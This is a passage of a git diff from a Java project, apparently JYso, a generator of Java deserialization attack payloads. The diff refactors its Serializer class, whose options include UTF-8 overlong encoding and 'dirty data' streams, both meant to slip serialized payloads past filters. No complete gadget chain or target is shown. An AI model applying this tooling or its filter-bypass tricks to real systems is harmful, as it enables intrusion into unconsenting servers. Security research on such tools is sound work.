Integer.parseInt(cmdLine.getOptionValue("hide-type")); - } - } - - } } \ No newline at end of file diff --git a/src/main/java/com/qi4l/JYso/gadgets/utils/Serializer.java b/src/main/java/com/qi4l/JYso/gadgets/utils/Serializer.java index c1dcd8d..8f7e2db 100644 --- a/src/main/java/com/qi4l/JYso/gadgets/utils/Serializer.java +++ b/src/main/java/com/qi4l/JYso/gadgets/utils/Serializer.java @@ -2,28 +2,14 @@ package com.qi4l.JYso.gadgets.utils; import com.caucho.hessian.io.*; -import com.cedarsoftware.util.io.JsonWriter; -import com.esotericsoftware.kryo.Kryo; -import com.esotericsoftware.kryo.io.Output; -import com.mchange.v2.c3p0.WrapperConnectionPoolDataSource; -import com.qi4l.JYso.gadgets.C3P0WrapperConnPool; +import com.qi4l.JYso.gadgets.Config.Config; import com.qi4l.JYso.gadgets.utils.utf8OverlongEncoding.UTF8OverlongObjectOutputStream; -import com.rometools.rome.feed.impl.EqualsBean; -import com.rometools.rome.feed.impl.ToStringBean; -import com.sun.rowset.JdbcRowSetImpl; -import com.thoughtworks.xstream.XStream; -import org.springframework.aop.support.DefaultBeanFactoryPointcutAdvisor; -import org.springframework.beans.factory.config.PropertyPathFactoryBean; import org.springframework.jndi.support.SimpleJndiBeanFactory; -import javax.xml.transform.Templates; import java.io.ByteArrayOutputStream; import java.io.IOException; import java.io.ObjectOutputStream; import java.io.OutputStream; -import java.lang.reflect.InvocationTargetException; -import java.net.URI; -import java.net.URISyntaxException; import java.util.*; import java.util.concurrent.Callable; @@ -53,32 +39,31 @@ public class Serializer implements Callable { } - public static void qiserialize( + public static void qi_serialize( Object obj, final OutputStream out ) throws Exception { - ByteArrayOutputStream outB64 = new ByteArrayOutputStream(); + final ObjectOutputStream objOut; + if (IS_DIRTY_IN_TC_RESET) { - new SuObjectOutputStream(out); + objOut = new SuObjectOutputStream(out); } else if (IS_UTF_Bypass) { - if (BASE64) { - new UTF8OverlongObjectOutputStream(outB64); - } else { - new UTF8OverlongObjectOutputStream(out); - } + objOut = new UTF8OverlongObjectOutputStream(out); } else { - if (BASE64) { - new SuObjectOutputStream(outB64); - } else { - new SuObjectOutputStream(out); - } + objOut = new ObjectOutputStream(out); } if (BASE64) { - String encodedString = Base64.getEncoder().encodeToString(outB64.toByteArray()); - System.out.println(encodedString); + ByteArrayOutputStream out_b64 = new ByteArrayOutputStream(); + ObjectOutputStream objOut_b64 = new ObjectOutputStream(out_b64); + objOut_b64.writeObject(obj); + objOut_b64.flush(); + String base64 = Base64.getEncoder().encodeToString(out_b64.toByteArray()); + System.out.println(base64); } + objOut.writeObject(obj); + } protected static String writeObject(Class clazz, Map properties) {